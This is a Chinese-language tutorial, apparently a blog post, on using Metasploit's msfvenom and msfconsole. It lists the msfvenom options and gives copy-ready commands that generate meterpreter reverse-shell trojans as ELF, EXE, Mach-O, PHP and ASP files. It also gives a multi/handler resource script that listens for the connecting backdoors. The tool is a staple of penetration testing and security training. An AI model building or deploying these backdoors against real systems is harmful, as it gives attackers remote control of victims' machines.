1.Msfvenom 介绍

Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的,ShellCode是真正的被输入到存在漏洞的程序中的,并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情。

msfvenom的命令行选项

  1. Options:
  2. -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
  3. -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
  4. -n, --nopsled <length> payload预先指定一个NOP滑动长度
  5. -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
  6. -e, --encoder [encoder] 指定需要使用的encoder(编码器)
  7. -a, --arch <architecture> 指定payload的目标架构
  8. --platform <platform> 指定payload的目标平台
  9. -s, --space <length> 设定有效攻击荷载的最大长度
  10. -b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039;
  11. -i, --iterations <count> 指定payload的编码次数
  12. -c, --add-code <path> 指定一个附加的win32 shellcode文件
  13. -x, --template <path> 指定一个自定义的可执行文件作为模板
  14. -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
  15. --payload-options 列举payload的标准选项
  16. -o, --out <path> 保存payload
  17. -v, --var-name <name> 指定一个自定义的变量,以确定输出格式
  18. --shellest 最小化生成payload
  19. -h, --help 查看帮助选项
  20. --help-formats 查看msf支持的输出格式列表

msfvenom 生成的所有的payload 都可以在msfconsole 中找到,如下图
image.png
-p 对应的payload
-lhost 对应的LHOST 的地址

2.Msfvenom 生成各种shellcode

msfvenom 可以生成各类木马,但是这些生成的木马大多都被杀软标记为木马病毒无法直接使用

linux

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

PHP

  1. msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ‘<?php | tr -d \n > shell.php && pbpaste >> shell.php

ASP

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

Windows Based Shellcode

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

3.Msfconsole 快速启动监听

当我们生成各种后门,我们可以编写一个脚本用来快速的启动我们的msf

  1. use exploit/multi/handler
  2. set lhost 192.168.16.143
  3. set lport 34444
  4. set payload windows/meterpreter/reverse_tcp
  5. exploit

直接运行启动

  1. msfconsole -q -r auto.rc

image.png